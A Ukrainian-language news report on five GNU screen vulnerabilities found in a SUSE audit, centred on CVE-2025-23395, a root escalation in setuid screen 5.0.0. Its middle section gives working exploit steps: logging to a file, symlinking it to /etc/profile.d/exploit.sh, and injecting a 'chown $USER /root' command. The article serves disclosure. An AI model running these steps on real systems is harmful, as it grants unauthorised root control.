Вразливості у GNU screen: отримання прав root
5 вразливостей виявлено у GNU screen, одна з них дозволяє отримати права root
У консольному віконному менеджері (мультиплексорі терміналів) GNU screen, який надає багатовіконний інтерфейс у консолі, виявлено 5 вразливостей. Найнебезпечніша проблема (CVE-2025-23395) дозволяє отримати права root у системі. Виправлення включено до сьогоднішнього випуску screen 5.0.1.
Які системи вразливі до експлойту з отриманням прав root
Вразливість CVE-2025-23395 проявляється лише у гілці screen 5.0.0. Ця версія постачається у Fedora Linux, Arch Linux, NetBSD, OpenBSD та Alpine. У Debian, Ubuntu, RHEL (EPEL 9), Gentoo, FreeBSD, SUSE/openSUSE та OpenWrt продовжує постачатися гілка screen 4.x.
Експлуатація вразливості можлива в системах, де виконуваний файл screen встановлено з прапорцем setuid root. Це стосується Arch Linux та NetBSD. У Fedora утиліта встановлюється з прапорцем setgid для отримання прав групи screen.
Механізм уразливості та спосіб атаки
Вразливість виникла через те, що при запуску з правами root функція logfile_reopen() виконується до скидання привілеїв. Вона обробляє дані в контексті каталогів поточного непривілейованого користувача.
Через маніпуляції з включенням режиму журналювання користувач може досягти запису даних у файл з правами root. Сам файл може бути збережений у домашньому каталозі користувача.
Алгоритм атаки на GNU screen
Ось як може виглядати атака, що створює файл /etc/profile.d/exploit.sh з командою “chown $USER /root”:
- Створення сеансу screen з включенням ведення логу
$ screen -Logfile $HOME/screen.log
- Натискання комбінації клавіш Сtrl-a-H для включення логу.
- Видалення файлу з логом і його заміна на символічне посилання
$ rm $HOME/screen.log; ln -s /etc/profile.d/exploit.sh $HOME/screen.log
- Повернення в сеанс screen і виведення на екран даних для запису
$ echo -e "\nchown $USER /root;"
- Коли до системи підключиться реальний root, запуститься сценарій, який змінить власника для каталогу /root
$ ls -lhd /root drwxr-x--- 5 user root 4.0K Dec 30 2020 .
За аналогією можна створювати файли конфігурації sudo або додавати команди до системних скриптів.
Інші вразливості у GNU screen
- CVE-2025-46802 – перехоплення пристрою TTY в багатокористувацьких сеансах. Проявляється в гілках screen 4.x та 5.x.
- CVE-2025-46803 – встановлення прав 0622 на пристрій PTY за замовчуванням. Проявляється тільки в гілці screen 5.0.
- CVE-2025-46804 – витік інформації про наявність файлів у закритих каталогах. Проявляється в гілках screen 4.x та 5.x.
- CVE-2025-46805 – стан гонитви при надсиланні сигналів SIGCONT та SIGHUP. Проявляється в гілках screen 4.x та 5.x.
- Некоректне використання функції strncpy(), що призводить до аварійного завершення. Проявляється тільки в гілці screen 5.0.
Хто виявив вразливості у GNU screen
Вразливості виявлено під час аудиту кодової бази GNU screen командою безпеки дистрибутиву SUSE Linux. Розробникам screen інформацію про вразливість надіслали 7 лютого. За відведені 90 днів вони не змогли підготувати виправлення для всіх вразливостей.
На думку дослідників, сучасні супроводжувачі GNU screen недостатньо добре орієнтуються в кодовій базі проекту. Вони не здатні повністю розібратися у виявлених проблемах безпеки.